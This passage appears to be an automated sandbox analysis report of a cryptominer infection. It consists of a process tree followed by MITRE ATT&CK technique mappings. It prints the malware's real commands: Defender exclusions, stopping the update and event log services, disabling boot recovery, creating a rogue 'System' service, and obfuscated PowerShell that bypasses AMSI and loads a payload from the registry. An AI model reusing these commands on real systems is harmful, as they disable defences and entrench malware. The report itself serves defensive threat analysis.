        "schtasks.exe" /Query /TN "jusched"
        8⤵
        
        PID:1948
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1688
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3808
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2404
        
        C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe
        
        "C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe"
        8⤵
        Executes dropped EXE
        
        PID:1344
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        9⤵
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        9⤵
        
        PID:1316
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        10⤵
        
        PID:1048
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        9⤵
        Launches sc.exe
        
        PID:1728
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        9⤵
        Launches sc.exe
        
        PID:3356
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        9⤵
        Launches sc.exe
        
        PID:2544
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        9⤵
        Launches sc.exe
        
        PID:3748
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        9⤵
        Launches sc.exe
        
        PID:1508
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        9⤵
        Power Settings
        
        PID:1272
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        9⤵
        Power Settings
        
        PID:1504
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        9⤵
        Power Settings
        
        PID:1920
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        9⤵
        Power Settings
        
        PID:1940
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        9⤵
        
        PID:1604
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "System"
        9⤵
        Launches sc.exe
        
        PID:2552
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "System" binpath= "C:\ProgramData\System\System32.exe" start= "auto"
        9⤵
        Launches sc.exe
        
        PID:940
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        9⤵
        Launches sc.exe
        
        PID:4644
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "System"
        9⤵
        Launches sc.exe
        
        PID:4548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe"
        9⤵
        
        PID:2932
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        10⤵
        
        PID:852
        
        C:\Windows\system32\SearchFilterHost.exe
        
        "C:\Windows\system32\SearchFilterHost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1644
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1720
    - - C:\Windows\system32\netsh.exe
        
        C:\Windows\system32\netsh.exe advfirewall firewall add rule name="BlkDoT" dir=out action=block protocol=tcp remoteport=853 enable=yes
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1268
    - - C:\Windows\system32\reagentc.exe
        
        C:\Windows\system32\reagentc.exe /disable
        5⤵
        Drops file in Windows directory
        
        PID:936
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {default} recoveryenabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1600
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {default} bootstatuspolicy IgnoreAllFailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4408
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {bootmgr} displaybootmenu No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:5052
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1012

C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
1⤵
- Executes dropped EXE
PID:1920

C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
1⤵
- Executes dropped EXE
PID:3648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OPhwrHhNcVxp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KnEwUyuBgyUzIJ,[Parameter(Position=1)][Type]$oJReCgOPtG)$ARZmuxNlyml=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+'m'+'o'+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+'e',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+''+[Char](44)+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+''+'t'+''+[Char](111)+'Cla'+[Char](115)+''+'s'+'',[MulticastDelegate]);$ARZmuxNlyml.DefineConstructor('RT'+'S'+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+''+'a'+'m'+'e'+','+'H'+''+'i'+''+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$KnEwUyuBgyUzIJ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Man'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$ARZmuxNlyml.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+[Char](97)+'l',$oJReCgOPtG,$KnEwUyuBgyUzIJ).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $ARZmuxNlyml.CreateType();}$LhGgdpFYjCYOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.'+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+'2'+''+'.'+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+'v'+''+'e'+'M'+'e'+'t'+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$gUKfwFtDxmYZhc=$LhGgdpFYjCYOh.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+',S'+'t'+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$trTIfFuQeOhUYTtsLrf=OPhwrHhNcVxp @([String])([IntPtr]);$IseLJELHTtHoXTDHIPOXHS=OPhwrHhNcVxp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UEWXiRiiDFT=$LhGgdpFYjCYOh.GetMethod(''+'G'+'e'+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+'d'+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$qZRAYSHwwJtJYP=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$UEWXiRiiDFT,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+'L'+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$eLLaRQmrCFJClURgb=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$UEWXiRiiDFT,[Object]('V'+'i'+'r'+'t'+'u'+[Char](97)+'lPro'+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$cqbHWjR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qZRAYSHwwJtJYP,$trTIfFuQeOhUYTtsLrf).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+'l');$oBywlirGldCzaDAvm=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$cqbHWjR,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$jBzmJMWdof=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eLLaRQmrCFJClURgb,$IseLJELHTtHoXTDHIPOXHS).Invoke($oBywlirGldCzaDAvm,[uint32]8,4,[ref]$jBzmJMWdof);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oBywlirGldCzaDAvm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eLLaRQmrCFJClURgb,$IseLJELHTtHoXTDHIPOXHS).Invoke($oBywlirGldCzaDAvm,[uint32]8,0x20,[ref]$jBzmJMWdof);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+'t'+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:424

C:\ProgramData\System\System32.exe
C:\ProgramData\System\System32.exe
1⤵
PID:4992
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:4864
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1536
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3360
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1304
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1180
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4740
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2404
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2912
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4224
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:3796
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1840
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:2024
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IyWkAUkdsyGT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpAXkZSYQjLEvx,[Parameter(Position=1)][Type]$orkdydmcjv)$GKwwnqFKAZq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+'e'+''+'d'+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+'d'+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+'d'+''+','+'A'+[Char](110)+''+'s'+''+'i'+'C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'ss',[MulticastDelegate]);$GKwwnqFKAZq.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpAXkZSYQjLEvx).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+'d');$GKwwnqFKAZq.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$orkdydmcjv,$PpAXkZSYQjLEvx).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $GKwwnqFKAZq.CreateType();}$XhXkbEMoHyQxe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType('M'+[Char](105)+'cr'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+'U'+''+'n'+''+[Char](115)+'af'+'e'+'Na'+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$rDKShadLsNDtSF=$XhXkbEMoHyQxe.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ieiGGkrZGTSQYFhwwLo=IyWkAUkdsyGT @([String])([IntPtr]);$wHAPzSxtYZlXBGOWodStnn=IyWkAUkdsyGT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mernhTIHsib=$XhXkbEMoHyQxe.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+'l'+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+'l')));$GBOgBXazCeEiCf=$rDKShadLsNDtSF.Invoke($Null,@([Object]$mernhTIHsib,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+'A'+'')));$VsrBMmEAEGUIDqhKi=$rDKShadLsNDtSF.Invoke($Null,@([Object]$mernhTIHsib,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$jnJzTqZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBOgBXazCeEiCf,$ieiGGkrZGTSQYFhwwLo).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$xjtGHNdvuuRfWQrne=$rDKShadLsNDtSF.Invoke($Null,@([Object]$jnJzTqZ,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+'S'+''+'c'+''+'a'+'nB'+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$FOWLipOMcO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VsrBMmEAEGUIDqhKi,$wHAPzSxtYZlXBGOWodStnn).Invoke($xjtGHNdvuuRfWQrne,[uint32]8,4,[ref]$FOWLipOMcO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xjtGHNdvuuRfWQrne,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VsrBMmEAEGUIDqhKi,$wHAPzSxtYZlXBGOWodStnn).Invoke($xjtGHNdvuuRfWQrne,[uint32]8,0x20,[ref]$FOWLipOMcO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+[Char](101)+'r'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

Virtualization/Sandbox Evasion